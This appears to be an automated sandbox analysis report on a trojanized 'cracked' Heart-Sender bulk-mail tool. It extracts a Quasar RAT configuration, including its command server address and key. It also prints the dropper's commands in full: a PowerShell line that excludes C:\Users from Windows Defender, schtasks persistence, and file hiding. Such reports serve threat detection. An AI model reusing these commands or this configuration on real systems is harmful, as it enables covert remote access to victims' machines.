Overview
overview
10Static
static
5Heart-Send...ig.bat
windows7-x64
10Heart-Send...ig.bat
windows10-2004-x64
10Heart-Send...ck.dll
windows7-x64
1Heart-Send...ck.dll
windows10-2004-x64
1Heart-Send...ad.exe
windows7-x64
3Heart-Send...ad.exe
windows10-2004-x64
3Heart-Send...er.exe
windows7-x64
10Heart-Send...er.exe
windows10-2004-x64
10Heart-Send...r1.exe
windows7-x64
10Heart-Send...r1.exe
windows10-2004-x64
10Heart-Send...ye.exe
windows7-x64
10Heart-Send...ye.exe
windows10-2004-x64
10Heart-Send...ck.dll
windows7-x64
1Heart-Send...ck.dll
windows10-2004-x64
1Heart-Send...ad.exe
windows7-x64
3Heart-Send...ad.exe
windows10-2004-x64
3Analysis
- max time kernel
147s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
07/11/2024, 12:33
Behavioral task
behavioral1
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Config.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Config.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Heart/HtmlAgilityPack.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Heart/HtmlAgilityPack.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Heart/Load.exe
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Heart/Load.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Loader.exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Loader.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Loader1.exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Loader1.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Heart-Sender-V1.2 Cracked by JC0der-FireEye.exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Heart-Sender-V1.2 Cracked by JC0der-FireEye.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/HtmlAgilityPack.dll
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/HtmlAgilityPack.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Load.exe
Resource
win7-20240708-en
Behavioral task
behavioral16
Sample
Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Load.exe
Resource
win10v2004-20241007-en
General
- Target Heart-Sender-V1.2_Cracked_by_JC0der-FireEye/Config/Config.bat
- Size 580B
- Sample241107-prb8jasdjc
- SHA256 cae2e9ddb120b89bb863815fbee0eeb597f576ec442242a87795244d2c2c8042
- MD5 028f22a9de1e96042ba3c22231565d7f
- SHA1 644f9c79a0338fd1073b66fcf5a96851c0c06ad6
- SHA512 711a649a2e906c31997fe3d1f9f6fffa3bdd36118c9e11a0fd8acc7b662656d9c63db7f7e8a6c64240b78cbdc22594d1863042911057f539dadebb05c03c9d8b
- MD5 SHA1 SHA512
Malware Config
Extracted
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quasar
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1.3.0.0
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Heart
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185.163.127.20:61110
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HRT_MUTEX_kecTsVDPnERdvianlr
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encryption_key
3vnM9JqtaSdxUVqeTXSi
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install_name
Subfile.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
Quasar Client Startup
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subdirectory
SubDirr
Signatures
- Floxif family
- Quasar family
- Quasar payload 2 IoCs
resource yara_rule behavioral2/files/0x000a000000023b9c-61.dat family_quasar behavioral2/memory/2324-69-0x0000000000A70000-0x0000000000ACE000-memory.dmp family_quasar - Detects Floxif payload 1 IoCs
resource yara_rule behavioral2/files/0x000a000000023b99-34.dat floxif - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3712 powershell.exe 4780 powershell.exe - Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
resource yara_rule behavioral2/files/0x000a000000023b99-34.dat acprotect - Executes dropped EXE 2 IoCs
pid Process 2324 Subfile.exe 1948 Sys32.exe - Loads dropped DLL 5 IoCs
pid Process 224 Loader.exe 3368 Loader1.exe 3368 Loader1.exe 3368 Loader1.exe 2324 Subfile.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\e: Subfile.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 ip-api.com -
resource yara_rule behavioral2/memory/224-32-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral2/memory/224-37-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/files/0x000a000000023b99-34.dat upx behavioral2/memory/224-43-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral2/memory/224-45-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/memory/3368-46-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral2/files/0x000a000000023b9b-54.dat upx behavioral2/memory/3368-51-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/memory/3368-60-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/memory/3368-59-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral2/memory/2324-64-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/files/0x000b000000023b9b-65.dat upx behavioral2/memory/2324-80-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/memory/2324-87-0x0000000010000000-0x0000000010030000-memory.dmp upx behavioral2/memory/2324-90-0x0000000010000000-0x0000000010030000-memory.dmp upx - Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Common Files\System\symsrv.dll Loader.exe File created \??\c:\progra~1\common~1\system\symsrv.dll.000 Subfile.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Subfile.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Loader.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Loader1.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3144 schtasks.exe 2944 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1948 Sys32.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3712 powershell.exe 3712 powershell.exe 4780 powershell.exe 4780 powershell.exe 2324 Subfile.exe 2324 Subfile.exe 2324 Subfile.exe 2324 Subfile.exe 2324 Subfile.exe 2324 Subfile.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3712 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeDebugPrivilege 224 Loader.exe Token: SeDebugPrivilege 3368 Loader1.exe Token: SeDebugPrivilege 2324 Subfile.exe Token: SeDebugPrivilege 2324 Subfile.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2324 Subfile.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4620 wrote to memory of 3712 4620 cmd.exe 84 PID 4620 wrote to memory of 3712 4620 cmd.exe 84 PID 4620 wrote to memory of 4780 4620 cmd.exe 86 PID 4620 wrote to memory of 4780 4620 cmd.exe 86 PID 4620 wrote to memory of 3144 4620 cmd.exe 87 PID 4620 wrote to memory of 3144 4620 cmd.exe 87 PID 4620 wrote to memory of 2944 4620 cmd.exe 88 PID 4620 wrote to memory of 2944 4620 cmd.exe 88 PID 4620 wrote to memory of 1952 4620 cmd.exe 90 PID 4620 wrote to memory of 1952 4620 cmd.exe 90 PID 4620 wrote to memory of 224 4620 cmd.exe 91 PID 4620 wrote to memory of 224 4620 cmd.exe 91 PID 4620 wrote to memory of 224 4620 cmd.exe 91 PID 4620 wrote to memory of 3368 4620 cmd.exe 93 PID 4620 wrote to memory of 3368 4620 cmd.exe 93 PID 4620 wrote to memory of 3368 4620 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1952 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Heart-Sender-V1.2_Cracked_by_JC0der-FireEye\Config\Config.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath "C:\Users" -force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780
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C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\Subfile0" /tr "C:\Users\Admin\AppData\Roaming\SubDirr\Subfile.exe" /RL HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3144
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C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\Subfile1" /tr "C:\Users\Admin\AppData\Roaming\SubDirr\Sys32.exe" /RL HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2944
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C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\SubDirr2⤵
- Views/modifies file attributes
PID:1952
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C:\Users\Admin\AppData\Local\Temp\Heart-Sender-V1.2_Cracked_by_JC0der-FireEye\Config\Loader.exeloader.exe -pP@$$W@RD@@2⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:224
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C:\Users\Admin\AppData\Local\Temp\Heart-Sender-V1.2_Cracked_by_JC0der-FireEye\Config\Loader1.exeloader1.exe -pP@$$W@RD@@2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3368
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C:\Users\Admin\AppData\Roaming\SubDirr\Subfile.exeC:\Users\Admin\AppData\Roaming\SubDirr\Subfile.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2324
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C:\Users\Admin\AppData\Roaming\SubDirr\Sys32.exeC:\Users\Admin\AppData\Roaming\SubDirr\Sys32.exe1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
PID:1948
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
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Downloads
- Path C:\PROGRA~1\COMMON~1\System\symsrv.dll.000
- Size 175B
- SHA256 eba08cc8182f379392a97f542b350ea0dbbe5e4009472f35af20e3d857eafdf1
- MD5 1130c911bf5db4b8f7cf9b6f4b457623
- SHA1 48e734c4bc1a8b5399bff4954e54b268bde9d54c
- SHA512 94e2511ef2c53494c2aff0960266491ffc0e54e75185427d1ccedae27c286992c754ca94cbb0c9ea36e3f04cd4eb7f032c551cf2d4b309f292906303f1a75fa0
- MD5 SHA1 SHA512
- Path C:\Program Files\Common Files\System\symsrv.dll
- Size 67KB
- SHA256 de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085
- MD5 7574cf2c64f35161ab1292e2f532aabf
- SHA1 14ba3fa927a06224dfe587014299e834def4644f
- SHA512 4db19f2d8d5bc1c7bbb812d3fa9c43b80fa22140b346d2760f090b73aed8a5177edb4bddc647a6ebd5a2db8565be5a1a36a602b0d759e38540d9a584ba5896ab
- SSDEEP 1536:YjV8y93KQpFQmPLRk7G50zy/riF12jvRyo0hQk7ZL:c8y93KQjy7G55riF1cMo03V
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f
- MD5 3ca1082427d7b2cd417d7c0b7fd95e4e
- SHA1 b0482ff5b58ffff4f5242d77330b064190f269d3
- SHA512 bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\A1D26E2\7F03C88E0.tmp
- Size 216KB
- SHA256 02d46c7d93d8be4e82fd29d9452203f86d75476dbfcc952efa63360a260fb242
- MD5 a0f5d9448eed029fef6d9944df015832
- SHA1 560dc39fbdccf26465005baf60648d3e0e41b32a
- SHA512 c41251267d6c42aa916df9e15304e839b0cb9087c834c9aa2a3b912b91c67ba1804e0a1854c64b14654d9ead03e1ed0e4a4ca3a4fd87616f7ad47c8edcec12d7
- SSDEEP 6144:C8OJQmNOIDgZ1NoSAtesA137gdDbvY7s50T2gQB4:4Q6OIcLNoSAtOBkdDr7E
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\A1D26E2\805B41CD28.tmp
- Size 71KB
- SHA256 fb6f81aaf1dbe4cf4a182b2f049504c2b137cf714eacddf8debc7087d52414e7
- MD5 cb12a9883105636361815cc05ae84a9b
- SHA1 e200f1b9553254dac2771c11e9c7eaf39095803c
- SHA512 36dd29e931d771802e4f39ece4cb3ab6bff777457304d3242b88189ebd8a2650a68dba2b100309f6a5962af2d92416f91f0ad0e323e98d7276b2ecec0c657fec
- SSDEEP 1536:ET8i9G1Sd0Pm3N8hcOIxfLJLgV/1/Nnouy86D7p3A:ET8OJQm3OcOIxDJLgZ1Nout6DG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3cykrskw.yeo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\SubDirr\Subfile.exe
- Size 348KB
- SHA256 db4b1a7399ad2e1fc3d8e64cb9e870a4b7f36ef629614517942a4b7318c29f42
- MD5 3e5da207d7655d267515b8fd7fe35b8a
- SHA1 85a81b28b919d283c7ae1df1a6c8c45dc0ff756a
- SHA512 f097cfdaa714fe1dfcb360467010597015ba1ff4ca686d340d1775bdeadbe02d4d9ec064d78e20add0c29bd4f06f8ef9ee572f2374031a6313af2f7602c0530d
- SSDEEP 6144:hjNHXf500M64ybdMo1rIbGyoyEtIdWXb3X+:ld50Dghxtaeb3X+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\SubDirr\Sys32.exe
- Size 7KB
- SHA256 d4641707fb9daa4f2e4e30f869a968f022f98c1067a9d8a9bd21ab22e56f82f4
- MD5 4fb7326fe1263d2f0626ee186195b891
- SHA1 f2ceda16fe3ba9e90e2b17f77879278923fb3fe9
- SHA512 f4191396b94e1517af938a9ca6068686956e99b2bde98ed6dccc14c05ecf016c11a75010c5e911a52524886e9404cb001d68832230b15d455fab514ddd9fce7a
- SSDEEP 96:7NbnJAjP8lS7AGd3k4+8+EU3Th9FedIjVesbv/2KldWMzNt:7NbJAnAGDfU3T70ioCDXW2
- MD5 SHA1 SHA512 SSDEEP